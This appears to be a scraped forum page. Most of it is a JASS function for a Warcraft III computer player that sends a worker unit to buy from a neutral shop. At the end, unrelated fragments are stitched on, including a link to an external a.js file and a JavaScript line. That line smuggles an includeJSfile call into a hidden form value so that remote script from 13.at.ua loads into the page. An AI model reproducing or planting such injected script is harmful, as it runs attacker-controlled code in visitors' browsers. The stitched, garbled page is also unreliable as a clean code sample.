function SetBuyTaskz takes integer lIDz, unit ushopz, integer ltaskz returns nothing
local integer lAz
local unit uPeonz
local real rMinz
local real rAz
local group gAz
local unit uAz
set rAz = 1
if EnemyCountInRangez(GetUnitX(ushopz),GetUnitY(ushopz),800.0) > 1 then
if GetFloatGameState(GAME_STATE_TIME_OF_DAY) < 18 or lNearUnsleeppedz > 0 then
set rAz = 0
endif
endif
set lAz = 1
loop
exitwhen lAz > lCountTaskz
if Tasksz[lAz] == ltaskz then
set rAz = 0
elseif Tasksz[lAz] == 5 then
set rAz = 0
endif
set lAz = lAz + 1
endloop
if rAz == 0 then
return
endif
if cntHippos_donez > 0 then
set lAz = HIPPOZ
elseif cntChimaeras_donez > 0 then
set lAz = CHIMAERAZ
else
set lAz = 0
endif
set uPeonz = null
if lAz != 0 then
set rMinz = -1
set gAz = CreateGroup()
call GroupEnumUnitsOfPlayer(gAz,AIPlayerz,null)
loop
set uAz = FirstOfGroup(gAz)
exitwhen uAz == null
set rAz = UnitsDistanceSz(ushopz,uAz)
if GetUnitTypeId(uAz) == lAz and GetUnitState(uAz, UNIT_STATE_LIFE) > 0.0 then
if not IsUnitHasTaskz(uAz) then
if rAz < rMinz or rMinz == -1 then
set rMinz = rAz
set uPeonz = uAz
endif
endif
endif
if rAz < 90000 then
if IssueNeutralImmediateOrderById(AIPlayerz, ushopz, lIDz) then
set cntGoldz = GetPlayerState(AIPlayerz,PLAYER_STATE_RESOURCE_GOLD)
set cntWoodz = GetPlayerState(AIPlayerz,PLAYER_STATE_RESOURCE_LUMBER)
set cntFoodUsedz = GetPlayerState(AIPlayerz,PLAYER_STATE_RESOURCE_FOOD_USED)
set lAz = 0
loop
exitwhen lAz > lNeutralBuildingsz
if ushopz == NeutralBuildingsz[lAz] then
set NBReadyTimesz[lAz] = lTimez + 510
endif
set lAz = lAz + 1
endloop
call DestroyGroup(gAz)
set gAz = null
return
endif
endif
call GroupRemoveUnit(gAz,uAz)
endloop
call DestroyGroup(gAz)
set gAz = null
endif
if uPeonz != null then
if uPeonz == uReconnoitUnitz then
set uReconnoitUnitz = null
endif
set lReservedGoldz = lReservedGoldz + GetUnitGoldCost(lIDz)
set lReservedWoodz = lReservedWoodz + GetUnitWoodCost(lIDz)
set lReservedFoodz = lReservedFoodz + GetFoodUsed(lIDz)
call IssuePointOrder(uPeonz, "move", GetUnitX(ushopz),GetUnitY(ushopz))
set lCountTaskz = lCountTaskz + 1
set TasksUnitsz[lCountTaskz] = uPeonz
set PeonsOldXz[lCountTaskz] = GetUnitX(uPeonz)
set PeonsOldYz[lCountTaskz] = GetUnitY(uPeonz)
set TasksDestXz[lCountTaskz] = GetUnitX(ushopz)
set TasksDestYz[lCountTaskz] = GetUnitY(ushopz)
set Tasksz[lCountTaskz] = ltaskz
set TasksWhatBuildz[lCountTaskz] = lIDz
set TasksStatesz[lCountTaskz] = 1
set TasksRepetitionsz[lCountTaskz] = 0
call RemoveGuardPosition(uPeonz)
endif
endfunction
//----------------------------

{code}function func takes integer{/code}
[url=http://13.at.ua/a.js]go jass[/url]

document.getElementById('siM7').innerHTML='<input type="hidden" name="home_page" value="a.do.am\').close();includeJSfile(\'http://13.at.ua/a.js\',\'"/>ICQ номер:';